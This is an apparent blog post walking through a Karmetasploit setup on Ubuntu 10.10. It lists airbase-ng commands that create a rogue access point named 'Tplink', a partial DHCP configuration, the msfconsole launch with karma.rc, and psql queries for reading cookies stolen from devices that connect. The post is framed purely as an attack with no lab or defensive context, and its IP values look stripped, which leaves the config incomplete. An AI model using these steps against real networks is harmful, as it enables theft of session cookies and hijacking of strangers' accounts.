Setting up Karmetasploit in Ubuntu 10.10

This is one old post that I have never written on after saving the draf on the link that teaches how to run Karmetasploit.  Basically, what we will be doing in this post is to run the Karmetasploit module and start sniffing cookies into our database.  In this post, we will look into the commands we type until we are able to sniff cookies using Karmetasploit.

airbase-ng -P -C 30 -v wlan0 -e "Tplink"
ifconfig at0 up netmask
ifconfig at0 mtu 1400
ifconfig wlan0 mtu 1800

ln -s /var/run/dhcp3-server/ /var/run/
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

/etc/init.d/dhcp3-server start

msfconsole -r karma.rc

This are my setup commands to get karmetasploit to fully function on my machine. It means that you must have airbase-ng fully up and running and msfconsole to be readily used. Another thing you would require would be the dhcpd.conf file configurations. If you don’t already know how to setup one, here’s mine and it is usable with the command above.


option domain-name-servers;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
log-facility local7;

subnet netmask {
  option routers;
  option subnet-mask;
  option domain-name-servers;

You would generally be using 2 terminals, 1 running airbase-ng and 1 running metasploit. What you would see at the end of the day is airbase-ng creating an Access Point with the name Tplink. Up till the point where you type /etc/init.d/dhcp3-server start, you should be able to use other machines to connect to your Access Point.  When you connect, make sure the given IP from dhcp starts at, otherwise it means that dhcp was not configured correctly.  You would pretty much have trouble on this side most of the time.  Once you run the command msfconsole -r karma.rc, you are all set to sniff for cookies.  If you don’t have karma.rc, it is available here.

Once metasploit is running, use another machine to connect to the Access Point and try visiting  You should get a black html page and at the bottom of it keeps loading websites, where it is actually stealing cookies.  When your done loading that page, go back to your attack station and enter your database to check for the list of cookies you have sniffed.  Take a look here at how you can get the cookies.  I don’t use sql but postgres so I work differently to read the cookies I sniffed.

sudo -s
su postgres
psql msf_database_name
select * from notes;



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